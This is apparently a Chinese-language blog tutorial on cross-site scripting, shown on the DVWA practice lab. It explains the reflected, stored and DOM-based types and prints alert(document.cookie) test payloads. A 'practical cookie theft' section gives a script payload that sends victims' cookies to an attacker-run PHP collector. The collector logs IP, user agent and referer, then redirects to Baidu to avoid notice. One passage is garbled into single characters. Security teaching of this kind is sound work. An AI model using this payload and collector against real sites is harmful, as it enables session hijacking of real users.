程Kaedy.cn-www.kaedy.cn
XSS跨站脚本攻击介绍
跨站脚本攻击英文全称为(Cross site Script)缩写为 CSS,但是为了和层叠样式表(Cascading Style
Sheet)CSS 区分开来,所以在安全领域跨站脚本攻击叫做 XSS
XSS 攻击简介
XSS 攻击通常指黑客通过往 Web 页面中插入恶意 Script 代码,当用户访问网页时恶意代码在用户的
浏览器中被执行,从而劫持用户浏览器窃取用户信息。
1、黑客加在特定 web 页面 index.html 中,加入 XSS 脚本。
2、用户访问 index.html,会加载 XSS 脚本
3、XSS 脚本把用户的会话 cookie 信息发给黑客
4、黑客使用用户的信息进行恶意操作
XSS跨站脚本攻击的三种类型
反射型XSS
反射型 XSS
反射型 XSS 又称之为非持久型 XSS,黑客需要通过诱使用户点击包含 XSS 攻击代码的恶意链接,然
后用户浏览器执行恶意代码触发 XSS 漏洞。
比如网站里面的小广告
诱导用户点击的
存储型XSS
存储型 XSS
存储型 XSS 会把用户输入的数据存储在服务器端,这种 XSS 可以持久化,而且更加稳定。
比如黑客写了一篇包含 XSS 恶意代码的博客文章,那么访问该博客的所有用户他们的浏览器中都会执行黑客构造的 XSS 恶意代码,通常这种攻击代码会以文本或数据库的方式保存在服务器端,所以称之为存储型 XSS。
DOM型XSS
DOM 型 XSS
DOM 概述:HTML DOM 定义了访问和操作 HTML 文档的标准方法。
DOM 型 XSS 并不根据数据是否保存在服务器端来进行划分,从效果来看它属于反射性 XSS,但是因
为形成原因比较特殊所以被单独作为一个分类,通过修改 DOM 节点形成的 XSS 攻击被称之为 DOM 型
DOM型漏洞我将它分成树状图来解释的话看下图:
项目场景:DVWA靶场
我以提前搭建好DVWA靶场:
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的 PHP/MySQL
Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助 web 开发者更好的理解 web 应用安全防范的过程。
先将DVWA的等级换成low
反射型XSS演示
它类似一个留言板一样的,你输入的内容,会显示相应的信息
reflected 反射
点击 submit 按钮,查 URL是http://192.168.1.106:8001/vulnerabilities/xss_r/?name=%E7%A8%8Bkaedy# 由于我前面是输入了程 在URL里显示不出来中文 后面实验内容就用kaedy了!
查看源代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
根据回显信息判断出,显示的文本内容是 Hello
n
a
m
e
。
我
们
输
入
的
信
息
被
存
放
在
name。我们输入的信息被存放在
name。我们输入的信息被存放在name 变量中。
我们添加一条 JavaScript 代码获取 cookie
构造js获取cookie代码是
<script>
alert(document.cookie); #alert 弹出窗口,窗口中内容是 cookie
</script>
或者
<script>alert(document.cookie);</script>#也是一样的
将代码放入
就会弹出网站的cookie值
可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。说明此网站有 XSS 漏洞!
存储型 XSS 原理:
存储型 XSS 的优势在于恶意代码被存储到服务器上,比如我们在论坛发帖的过程中嵌入了 XSS 攻击 代码,当我们发布的帖子被用户浏览访问时就可以触发 XSS 代码。 一个站点,能写入并被执行,就可以被渗透!刷新
存储型 XSS 和反射型 XSS 的区别是:
反射型 XSS 只会执行一次脚本 , 2 存储型 XSS 每次访问这个页面都会执行脚本。因为 XSS 代码已经嵌入在了该 Web 站点当中,所以每次访问都会被执行。
每次刷新这个页面就会弹出cookie
实战盗取cookie:
先上实战拓扑图
在centos服务器上搭建web站点接收cookie
先启动apache服务
systemctl start apache
[root@VM-0-5-centos /]# cd /var/www/html
新建用户接受cookie值的php页面
[root@VM-0-5-centos html]# vi cheng.php
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
要建一个txt文件,用于接受cookie的txt文件
修改网页权限
root@kali:/var/www/html# chown www-data:www-data cheng.php
root@kali:/var/www/html# touch cookie.txt #创建存 cookie 的文件
root@kali:/var/www/html# chown www-data:www-data cookie.txt
root@kali:/var/www/html#
服务重启
root@kali:/var/www/html# service apache2 start
在反射性XSS漏洞或者存储型里插入下面的代码就能实现跨站盗取cookie值
插入下面的这个代码
<script>document.location='http://192.168.1.103/cheng.php?cookie='+document.cookie</script>
现在我来说下代码的含义
Payload 说明:
JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
document.location #用于跳转页面
http://192.168.1.103/cheng.php?cookie=’+document.cookie #传递 cookie 参数到cheng.php
从而将cookie值存到cookie.txt文件里
关于cheng.php
还可以改下
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件
header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>